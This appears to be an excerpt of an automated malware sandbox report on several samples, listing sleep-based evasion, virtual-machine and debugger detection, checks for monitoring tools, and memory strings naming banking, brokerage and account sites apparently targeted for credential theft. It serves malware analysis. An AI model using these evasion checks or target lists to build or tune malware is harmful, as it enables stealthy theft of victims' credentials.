Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1400	Thread sleep count: 1218 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1400	Thread sleep time: -2437218s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 408	Thread sleep count: 206 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 408	Thread sleep time: -6180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5240	Thread sleep count: 1218 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5240	Thread sleep time: -2437218s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7032	Thread sleep count: 1209 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7032	Thread sleep time: -2419209s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2472	Thread sleep count: 1238 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2472	Thread sleep time: -2477238s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6800	Thread sleep count: 362 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6800	Thread sleep time: -18100000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6800	Thread sleep time: -50000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\audiodg.exe TID: 5348	Thread sleep time: -50000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\audiodg.exe TID: 5348	Thread sleep count: 794 > 30	Jump to behavior
Source: C:\Windows\System32\audiodg.exe TID: 5348	Thread sleep time: -39700000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\msiexec.exe TID: 5460	Thread sleep time: -50000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\msiexec.exe TID: 5460	Thread sleep count: 772 > 30	Jump to behavior
Source: C:\Windows\System32\msiexec.exe TID: 5460	Thread sleep time: -38600000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5688	Thread sleep time: -9220700s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4160	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe TID: 8636	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe TID: 8632	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe TID: 3308	Thread sleep time: -10145709240540247s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe TID: 3308	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe TID: 4444	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe TID: 4368	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe TID: 2716	Thread sleep count: 138 > 30
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe TID: 2716	Thread sleep time: -138000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe TID: 3228	Thread sleep count: 283 > 30

Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe

Code function: 7_2_00007FF6AE221444 GetSystemInfo,

7_2_00007FF6AE221444

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 50000	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 50000	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Thread delayed: delay time: 50000	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Thread delayed: delay time: 50000	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Thread delayed: delay time: 50000	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Thread delayed: delay time: 50000	Jump to behavior
Source: C:\Windows\explorer.exe	Thread delayed: delay time: 90000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Thread delayed: delay time: 922337203685477

Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: explorer.exe, 0000000B.00000000.2776738838.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0r
Source: explorer.exe, 0000000B.00000000.2776738838.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000%
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: explorer.exe, 0000000B.00000000.2769847347.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000A
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: explorer.exe, 0000000B.00000000.2776738838.0000000009B2C000.00000004.00000001.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3289078572.0000000001061000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001061000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000002.3374325169.0000000001061000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: explorer.exe, 0000000B.00000003.3095812911.0000000009BAA000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTcaVMWare
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: explorer.exe, 0000000B.00000003.2984519504.000000000AA2D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vmware
Source: explorer.exe, 0000000B.00000003.3095812911.0000000009BAA000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: explorer.exe, 0000000B.00000003.3202258272.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}^
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: explorer.exe, 0000000B.00000003.3098876390.0000000003553000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.NoneVMware-42 27 d9 2e dc 89 72 dX
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: explorer.exe, 0000000B.00000003.3095812911.0000000009BAA000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000_
Source: explorer.exe, 0000000B.00000000.2776738838.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: explorer.exe, 0000000B.00000003.3200986873.000000000769A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: skotes.exe, skotes.exe, 00000003.00000002.2118437535.0000000000D53000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: explorer.exe, 0000000B.00000003.3202258272.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}99105f770555d7dd
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: explorer.exe, 0000000B.00000003.3098876390.0000000003553000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: explorer.exe, 0000000B.00000003.3095812911.0000000009BAA000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: explorer.exe, 0000000B.00000003.3098876390.0000000003553000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware-42 27 d9 2e dc 89 72 dX
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 6c29e572e4.exe, 00000010.00000003.3289078572.0000000001061000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001061000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000002.3374325169.0000000001061000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWF
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: explorer.exe, 0000000B.00000003.3098876390.0000000003553000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware,p
Source: file.exe, 00000000.00000002.2084635726.00000000003A3000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2118432490.0000000000D53000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000003.00000002.2118437535.0000000000D53000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 6c29e572e4.exe, 00000010.00000002.3372061882.000000000100E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.0000000003DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: explorer.exe, 0000000B.00000000.2769847347.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3278810261.00000000040CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_2-10080
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_2-10071
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_3-10075
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	API call chain: ExitProcess graph end node	graph_7-889
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	API call chain: ExitProcess graph end node	graph_7-906
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	API call chain: ExitProcess graph end node	graph_7-886
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	API call chain: ExitProcess graph end node	graph_12-939
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	API call chain: ExitProcess graph end node	graph_12-941
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	API call chain: ExitProcess graph end node	graph_12-944
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	API call chain: ExitProcess graph end node	graph_12-961
Source: C:\Windows\System32\audiodg.exe	API call chain: ExitProcess graph end node	graph_13-883
Source: C:\Windows\System32\audiodg.exe	API call chain: ExitProcess graph end node	graph_13-894
Source: C:\Windows\System32\audiodg.exe	API call chain: ExitProcess graph end node	graph_13-895
Source: C:\Windows\System32\audiodg.exe	API call chain: ExitProcess graph end node	graph_13-906
Source: C:\Windows\System32\svchost.exe	API call chain: ExitProcess graph end node	graph_14-895
Source: C:\Windows\System32\svchost.exe	API call chain: ExitProcess graph end node	graph_14-882
Source: C:\Windows\System32\svchost.exe	API call chain: ExitProcess graph end node	graph_14-905
Source: C:\Windows\System32\svchost.exe	API call chain: ExitProcess graph end node	graph_14-892
Source: C:\Windows\System32\svchost.exe	API call chain: ExitProcess graph end node	graph_14-886
Source: C:\Windows\System32\msiexec.exe	API call chain: ExitProcess graph end node	graph_15-898
Source: C:\Windows\System32\msiexec.exe	API call chain: ExitProcess graph end node	graph_15-906
Source: C:\Windows\System32\msiexec.exe	API call chain: ExitProcess graph end node	graph_15-910

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe

Code function: 7_2_00007FF6AE2231B8 IsDebuggerPresent,GetCurrentProcess,CheckRemoteDebuggerPresent,

7_2_00007FF6AE2231B8

Found API chain indicative of debugger detection

Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Debugger detection routine: IsDebuggerPresent or CheckRemoteDebuggerPresent, DecisionNodes, ExitProcess or Sleep	graph_7-1140
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Debugger detection routine: IsDebuggerPresent or CheckRemoteDebuggerPresent, DecisionNodes, ExitProcess or Sleep	graph_12-1195
Source: C:\Windows\System32\audiodg.exe	Debugger detection routine: IsDebuggerPresent or CheckRemoteDebuggerPresent, DecisionNodes, ExitProcess or Sleep	graph_13-1138
Source: C:\Windows\System32\svchost.exe	Debugger detection routine: IsDebuggerPresent or CheckRemoteDebuggerPresent, DecisionNodes, ExitProcess or Sleep	graph_14-1138
Source: C:\Windows\System32\msiexec.exe	Debugger detection routine: IsDebuggerPresent or CheckRemoteDebuggerPresent, DecisionNodes, ExitProcess or Sleep	graph_15-1152

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04A2042F Start: 04A20454 End: 04A2045A

0_2_04A2042F

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process queried: DebugPort	Jump to behavior
